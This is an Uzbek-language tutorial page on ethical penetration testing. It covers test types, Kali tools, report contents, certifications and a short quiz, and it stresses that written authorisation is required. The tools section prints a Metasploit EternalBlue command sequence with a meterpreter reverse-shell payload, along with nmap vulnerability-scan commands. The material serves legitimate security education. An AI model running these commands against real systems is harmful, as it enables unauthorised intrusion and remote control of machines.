Penetration Testing
Etik xakerlik — tizimlarni ruxsat bilan sinovdan o'tkazish
Penetration testing (pentest) — tashkilotning ruxsati bilan real hujumchilarning metodlarini qo'llab, tizim zaifliklarini topish jarayoni. Pentest xizmatlarining global bozori 2023-yil $1.9 milliard ni tashkil etdi. Etik xakerlar zaifliklarni topib, tuzatish imkonini beradi.
Har qanday pentest faoliyati YOZMA ruxsatnoma asosida amalga oshirilishi shart. Ruxsatsiz tizimga kirish ko'plab mamlakatlarda 10+ yil qamoq jazosidir.
Pentest Metodologiyasi (PTES)
Pentest Turlari
Pentest haqida hech qanday ma'lumot berilmaydi. Real hujumchini taqlid qiladi. Eng ko'p vaqt talab etadi.
Qimmat va sekin
To'liq ma'lumot beriladi: source code, arxitektura, credentials. Eng chuqur tahlil imkoni.
Real hujum emas
Qisman ma'lumot beriladi (foydalanuvchi hisob, ba'zi arxitektura). Eng keng tarqalgan yondashuv.
Samarali
- Web Application Pentest — Web ilovalar zaifliklarini tekshirish (OWASP)
- Network Pentest — Tarmoq infratuzilmasi (routerlar, switchlar, serverlar)
- Mobile App Pentest — Android/iOS ilovalar (OWASP MASVS)
- Wireless Pentest — WiFi, Bluetooth, IoT zaifliklarini tekshirish
- Social Engineering — Phishing, vishing, tailgating testlari
- Physical Pentest — Jismoniy xavfsizlik (qulf, kamera, kirishni nazorat)
| Mezon | Pentest | VA |
|---|---|---|
| Zaiflik topish | Ha | Ha |
| Exploit qilish | Ha | Yo'q |
| Chuqurlik | Yuqori | O'rtacha |
| Narx | Qimmat | Arzon |
| Vaqt | Haftalar | Kunlar |
Kali Linux — Pentest Distribusiyasi
Kali Linux — Offensive Security tomonidan yaratilgan, 600+ pentest asbobini o'z ichiga olgan Debian asosidagi distribusiya. Kali NetHunter esa Android qurilmalar uchun versiyasi.
Dunyo bo'yicha #1 exploit framework. 2000+ exploit, 500+ payload. MSF Console orqali ishlatiladi.
msfconsole
search eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.50
run
Web app pentest uchun eng kuchli vosita. Proxy, Scanner, Repeater, Intruder, Decoder modullariga ega.
# Asosiy modullar:
# Proxy — HTTP trafikni ushlash
# Repeater — So'rovlarni qayta yuborish
# Intruder — Brute-force/fuzzing
# Scanner — Avtomatik zaiflik skan
# Decoder — Base64/URL decode
# FoxyProxy + Burp: 127.0.0.1:8080
Network mapper. NSE (Nmap Scripting Engine) bilan zaifliklarni aniqlash va exploitation imkoni.
# Full scan
nmap -A -T4 -p- 192.168.1.0/24
# Vulnerability scan
nmap --script vuln target.com
# SMB zaifliklar
nmap --script smb-vuln* -p445 target
# Service version
nmap -sV -sC target.com
Pentest Hisoboti Tarkibi
Pentest hisoboti hujumchilar tomonidan topilgan zaifliklarni, ularning ta'sirini va tuzatish tavsiyalarini o'z ichiga oladi. Yaxshi hisobot texnik va management uchun alohida bo'limlarga ega.
Management uchun texnik bo'lmagan xulosa
Test doirasi, vaqt, ishlatiligna metodlar
CVSS bali, ta'sir, PoC exploit, screenshots
Har zaiflik uchun tuzatish yo'llari
Tool outputlari, logs, qo'shimcha ma'lumot
- CEH — Certified Ethical Hacker (EC-Council)
- OSCP — Offensive Security Certified Professional
- GPEN — GIAC Penetration Tester
- eJPT — eLearnSecurity Junior Pentest
- CompTIA PenTest+ — vendor-neutral
Bug Bounty Dasturlari
Bug bounty dasturlarida kompaniyalar xakerlarni zaifliklarni topish uchun mukofot to'laydi. Google, Microsoft, Facebook, Apple kabi gigantlar yiliga millionlab dollar to'laydi.
Bilimingizni Sinang
1. Black box pentestda nima berilmaydi?
- A) Hech qanday ma'lumot — faqat maqsad domeni/IP
- B) Source code
- C) Arxitektura diagrammasi
- D) Foydalanuvchi hisoblari
2. CVSS 9.5 balli zaiflik qaysi toifaga kiradi?
- A) Low
- B) Medium
- C) High
- D) Critical — 9.0-10.0 Critical, darhol tuzatish
3. Metasploit nimaga ishlatiladi?
- A) Network scanning
- B) Password cracking
- C) Exploit framework — zaifliklarni ishlatish
- D) Log tahlili